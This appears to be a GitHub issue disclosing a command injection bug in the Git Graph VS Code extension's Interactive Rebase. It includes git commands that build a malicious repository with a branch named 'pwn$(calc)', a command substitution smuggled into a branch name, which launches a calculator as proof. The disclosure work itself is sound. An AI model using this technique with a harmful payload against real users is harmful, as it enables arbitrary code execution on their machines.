Skip to content

Command Injection via Branch Name in Git Graph's Interactive Rebase #940

Open

Description

@HughLewis20

Describe the Bug
There exists a command injection vulnerability in the VS Code extension Git Graph (mhutchie.git-graph) 1.30.0. The extension's Interactive Rebase action composes a shell command string by concatenating the target branch name into it and hands the result to the integrated terminal. The branch name is repository content: a repository delivered by an attacker-controlled Git server can carry a branch whose name contains a command substitution. When the victim launches Interactive Rebase on that branch, the payload is executed by the victim's shell with the victim's privileges.
This vulnerability leads to arbitrary code execution in the victim's user context.

Steps to Reproduce

  1. Construct the malicious repository
    The attacker gives a branch a name containing the payload and points the repository's HEAD at it, so a plain clone makes it the victim's current branch as well.
$ git check-ref-format --branch 'pwn$(calc)'
$ git init -q work && cd work
$ git commit -q --allow-empty -m 'Initial revision'
$ git branch 'pwn$(calc)'
$ git init -q --bare evil.git
$ git push -q ../evil.git 'HEAD:refs/heads/main' 'HEAD:refs/heads/pwn$(calc)'
$ git -C ../evil.git symbolic-ref HEAD 'refs/heads/pwn$(calc)'
  1. Trigger the vulnerability
    First, clone the repo.
$ git clone <attacker-server> victim-repo

$ cat victim-repo/.git/HEAD
ref: refs/heads/pwn$(calc)

$ git -C victim-repo branch -a
* pwn$(calc)
  remotes/origin/HEAD -> origin/pwn$(calc)
  remotes/origin/main
  remotes/origin/pwn$(calc)

Then, using Git Graph's Interactive Rebase by clicking the GUI options.

Image Image

Expected Behaviour
The calculator window appears on the victim's desktop.

Image

Environment

  • Git Graph Extension Version: 1.30.0
  • Visual Studio Code Version: 1.130.0
  • Operating System: Windows 11
  • Terminal shell: Windows PowerShell 5.1

⚠ Please make sure you complete all of the required sections of this template. Without this required information, it will be harder to replicate this bug, and cause additional delays in resolving it.
.

Activity

  1. added
    bug
    on Oct 9, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

Labels

bug

Type

No type

Projects

No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions